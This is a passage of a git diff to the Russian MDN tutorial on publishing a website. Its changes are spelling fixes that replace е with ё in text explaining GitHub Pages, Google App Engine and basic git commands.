<p>НСкоторыС сСрвисы ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ сайт:</p>
<ul>
- <li><a href="https://github.com/">GitHub</a>Β - это "ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Π°Ρ ΡΠ΅Ρ‚ΡŒ программистов". Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ с вашими Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°ΠΌΠΈ для хранСния в <a href="http://git-scm.com/">Git</a> - <strong>систСму контроля вСрсий. </strong>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ всС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ хранятся с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ, Π° это Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ доступСн Π»ΡŽΠ±ΠΎΠΌΡƒ - участники ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎ Π½Π΅ΠΌΡƒ ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ Π»ΠΈΠ±ΠΎ ΠΆΠ΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ свои ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΡΡ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΊΠΎΠ΄Π΅Ρ€Π°ΠΌΠΈ! Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ большоС ΠΈ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ сообщСство, Π² Ρ‡ΡŒΠΈ ряды Π»ΡƒΡ‡ΡˆΠ΅ Π²ΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ, ΠΈ Git/GitHub это ΠΎΡ‡Π΅Π½ΡŒ популярная <a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">систСма контроля вСрсий</a> β€” Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ сСйчас ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π΅ для Ρ€Π°Π±ΠΎΡ‚Ρ‹. GitHub ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <a href="https://pages.github.com/">GitHub pages</a>, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ смоТСтС ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ ваш ΠΊΠΎΠ΄ (ваш сайт) Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</li>
+ <li><a href="https://github.com/">GitHub</a>Β - это "ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Π°Ρ ΡΠ΅Ρ‚ΡŒ программистов". Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½Π΅Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ с вашими Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°ΠΌΠΈ для хранСния в <a href="http://git-scm.com/">Git</a> - <strong>систСму контроля вСрсий. </strong>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ всС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ хранятся с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ, Π° это Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ доступСн Π»ΡŽΠ±ΠΎΠΌΡƒ - участники ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎ Π½Π΅ΠΌΡƒ ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ Π»ΠΈΠ±ΠΎ ΠΆΠ΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ свои ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΡΡ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΊΠΎΠ΄Π΅Ρ€Π°ΠΌΠΈ! Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ большоС ΠΈ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ сообщСство, Π² Ρ‡ΡŒΠΈ ряды Π»ΡƒΡ‡ΡˆΠ΅ Π²ΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ, ΠΈ Git/GitHub это ΠΎΡ‡Π΅Π½ΡŒ популярная <a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">систСма контроля вСрсий</a> β€” Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ сСйчас ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Ρ‘ для Ρ€Π°Π±ΠΎΡ‚Ρ‹. GitHub ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <a href="https://pages.github.com/">GitHub pages</a>, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ смоТСтС ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ ваш ΠΊΠΎΠ΄ (ваш сайт) Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</li>
<li><a href="https://cloud.google.com/appengine/" title="App Engine - Build Scalable Web &amp; Mobile Backends in Any Language | Google Cloud Platform">Google App Engine</a>Β - это мощная ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°, которая позволяСт ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ прилоТСния Π² инфраструктурС Google β€” Π½ΡƒΠΆΠ½ΠΎ Π»ΠΈ Π²Π°ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ΅ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ с нуля ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ статичСский Π²Π΅Π±-сайт. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <a href="https://developer.mozilla.org/ru/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">ΠΊΠ°ΠΊ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ваш Π²Π΅Π±-сайт Π½Π°Β Google App Engine</a>Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
</ul>
@@ -107,7 +107,7 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
<p><span id="command-line">Π£ всСх опСрационных систСм Π΅ΡΡ‚ΡŒ командная строка:</span></p>
<ul>
- <li><strong>Windows</strong>: <strong>Командная строка. </strong>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΅Ρ‘ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ»Π°Π²ΠΈΡˆΡƒΒ Windows, Π·Π°Ρ‚Π΅ΠΌ Π²Π²Π΅Π΄ΠΈΡ‚Π΅Β <em>Командная строка </em>Π² ΠΏΠΎΠ»Π΅ поиска, ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π΅Ρ‘ Π² появившСмся спискС.Β Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎΒ Windows ΠΈΠΌΠ΅Π΅Ρ‚ свои собствСнныС соглашСния ΠΊΠΎΠΌΠ°Π½Π΄, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΡ‚ Linux ΠΈ OS X, поэтому ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</li>
+ <li><strong>Windows</strong>: <strong>Командная строка. </strong>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΅Ρ‘ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ»Π°Π²ΠΈΡˆΡƒΒ Windows, Π·Π°Ρ‚Π΅ΠΌ Π²Π²Π΅Π΄ΠΈΡ‚Π΅Β <em>Командная строка </em>Π² ΠΏΠΎΠ»Π΅ поиска, ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π΅Ρ‘ Π² появившСмся спискС.Β Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎΒ Windows ΠΈΠΌΠ΅Π΅Ρ‚ свои собствСнныС соглашСния ΠΊΠΎΠΌΠ°Π½Π΄, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΡ‚ Linux ΠΈ OS X, поэтому ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</li>
<li><strong>OS X</strong>: <strong>Terminal</strong> ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π²Β <em>ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ &gt; Π£Ρ‚ΠΈΠ»ΠΈΡ‚Ρ‹</em>.</li>
<li><strong>Linux</strong>: ΠžΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Ρ‚Π°Ρ‰ΠΈΡ‚ΡŒ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π» с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ctrl + Alt + T. Если это Π½Π΅ сработаСт, Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ <strong>Π’Π΅Ρ€ΠΌΠΈΠ½Π°Π»</strong> Π² ΠΏΠ°Π½Π΅Π»ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ мСню.</li>
</ul>
@@ -115,14 +115,14 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
<p>Π‘Π½Π°Ρ‡Π°Π»Π° это ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΡ‚Ρ€Π°ΡˆΠ½Ρ‹ΠΌ, Π½ΠΎ Π½Π΅ Π²ΠΎΠ»Π½ΡƒΠΉΡ‚Π΅ΡΡŒ - Π²Ρ‹ скоро освоитС основы. Π’Ρ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅, ввСдя ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ ΠΈ Π½Π°ΠΆΠ°Π² Enter.</p>
<ol>
- <li>Π£ΠΊΠ°ΠΆΠΈΡ‚Π΅ Π²Β ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ <code>test-site</code>Β (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°, содСрТащСго ваш сайт). Для этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ <code>cd</code> (Ρ‚.Π΅. Β«change directoryΒ»). Π’ΠΎΡ‚ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π°Π±Π΅Ρ€Π΅Ρ‚Π΅, Ссли размСстили свой Π²Π΅Π±-сайт Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>test-site</code> Π½Π° Ρ€Π°Π±ΠΎΡ‡Π΅ΠΌ столС:
+ <li>Π£ΠΊΠ°ΠΆΠΈΡ‚Π΅ Π²Β ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ <code>test-site</code>Β (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°, содСрТащСго ваш сайт). Для этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ <code>cd</code> (Ρ‚.Π΅. Β«change directoryΒ»). Π’ΠΎΡ‚ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π°Π±Π΅Ρ€Ρ‘Ρ‚Π΅, Ссли размСстили свой Π²Π΅Π±-сайт Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>test-site</code> Π½Π° Ρ€Π°Π±ΠΎΡ‡Π΅ΠΌ столС:
<pre class="brush: bash notranslate">cd Desktop/test-site</pre>
</li>
<li>Когда командная строка ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€ΡŒ вашСго ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° Π²Π΅Π±-сайта, Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ, которая сообщаСт инструмСнту <code>git</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΠ» ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ git:
<pre class="brush: bash notranslate">git init</pre>
</li>
- <li>Π”Π°Π»Π΅Π΅ вСрнСмся ΠΊ сайту GitHub. На Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницС вас интСрСсуСт Ρ€Π°Π·Π΄Π΅Π» "…or push an existing repository from the command line". Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΄Π²Π΅ строки ΠΊΠΎΠ΄Π° Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅. Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ всю ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку, Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π΅ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡƒΡŽ строку ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Enter. Команда Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:
+ <li>Π”Π°Π»Π΅Π΅ вСрнёмся ΠΊ сайту GitHub. На Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницС вас интСрСсуСт Ρ€Π°Π·Π΄Π΅Π» "…or push an existing repository from the command line". Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΄Π²Π΅ строки ΠΊΠΎΠ΄Π° Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅. Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ всю ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку, Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‘ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡƒΡŽ строку ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Enter. Команда Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:
<pre class="brush: bash notranslate">git remote add origin https://github.com/bobsmith/bobsmith.github.io.git</pre>
</li>
<li>Π”Π°Π»Π΅Π΅ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, наТимая Enter послС ΠΊΠ°ΠΆΠ΄ΠΎΠΉ. Π­Ρ‚ΠΎ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ ΠΊΠΎΠ΄ ΠΊ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π½Π° GitHub, ΠΈ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚ Git ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ этими Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ.
@@ -132,7 +132,7 @@ git commit -m 'adding my files to my repository'</pre>
<li>НаконСц, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΊΠΎΠ΄ Π½Π° GitHub - Π²Π΅Ρ€Π½ΠΈΡ‚Π΅ΡΡŒ Π½Π° Π²Π΅Π±-страницу GitHub, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»ΠΈΡΡŒ, ΠΈ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π» ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:
<pre class="brush: bash notranslate">git push -u origin master</pre>
</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚Π΅ ΠΏΠΎ Π²Π΅Π±-адрСсу, созданному Π²Β GitHub, Π² Π½ΠΎΠ²ΠΎΠΌ ΠΎΠΊΠ½Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Β (<em>username.github.io</em>), Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ваш сайт ΠΎΠ½Π»Π°ΠΉΠ½! Π Π°Π·ΠΎΡˆΠ»ΠΈΡ‚Π΅ ссылку вашим Π΄Ρ€ΡƒΠ·ΡŒΡΠΌ, ΠΏΡƒΡΡ‚ΡŒ оцСнят вашС мастСрство.</li>
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΏΠΎ Π²Π΅Π±-адрСсу, созданному Π²Β GitHub, Π² Π½ΠΎΠ²ΠΎΠΌ ΠΎΠΊΠ½Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Β (<em>username.github.io</em>), Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ваш сайт ΠΎΠ½Π»Π°ΠΉΠ½! Π Π°Π·ΠΎΡˆΠ»ΠΈΡ‚Π΅ ссылку вашим Π΄Ρ€ΡƒΠ·ΡŒΡΠΌ, ΠΏΡƒΡΡ‚ΡŒ оцСнят вашС мастСрство.</li>
</ol>
<div class="note">
@@ -141,7 +141,7 @@ git commit -m 'adding my files to my repository'</pre>
<h3 id="Π”Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠ΅Π΅_ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅_GitHub">Π”Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠ΅Π΅ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ GitHub</h3>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ большС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π½Π° своСм тСстовом сайтС ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΈΡ… Π² GitHub, Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ внСсти измСнСния Π² свои Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠ°ΠΊ ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅. Π—Π°Ρ‚Π΅ΠΌ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ввСсти ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ (Π½Π°ΠΆΠ°Π² Enter послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ эти измСнСния Π² GitHub:</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ большС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π½Π° своём тСстовом сайтС ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΈΡ… Π² GitHub, Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ внСсти измСнСния Π² свои Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠ°ΠΊ ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅. Π—Π°Ρ‚Π΅ΠΌ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ввСсти ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ (Π½Π°ΠΆΠ°Π² Enter послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ эти измСнСния Π² GitHub:</p>
<pre class="notranslate">git add --all
git commit -m 'another commit'
@@ -163,7 +163,7 @@ git push</pre>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_%D0%B2%D0%B5%D0%B1_%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π²Π΅Π±-сСрвСр?</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/Understanding_domain_names">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°?</a></li>
<li><a href="/en-US/Learn/How_much_does_it_cost">Бколько стоит ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅?</a></li>
- <li><a href="https://www.codecademy.com/learn/deploy-a-website">Π Π°Π·Π²Π΅Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅ сайта</a>: Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ курс ΠΎΡ‚ Codecademy, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π±Π΅Π³Π°Π΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²ΠΏΠ΅Ρ€Ρ‘Π΄ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ.</li>
+ <li><a href="https://www.codecademy.com/learn/deploy-a-website">Π Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅ сайта</a>: Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ курс ΠΎΡ‚ Codecademy, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π±Π΅Π³Π°Π΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²ΠΏΠ΅Ρ€Ρ‘Π΄ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ.</li>
<li><a href="http://alignedleft.com/resources/cheap-web-hosting">Cheap or Free Static Website Hosting</a>, ΡΡ‚Π°Ρ‚ΡŒΡ написанная Π‘ΠΊΠΎΡ‚Ρ‚ΠΎΠΌ ΠœΡŽΡ€Ρ€Π΅Π΅ΠΌΒ ΡΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ ΠΈΠ΄Π΅ΠΈ ΠΎ доступных сСрвисах.</li>
</ul>
diff --git a/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html b/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html
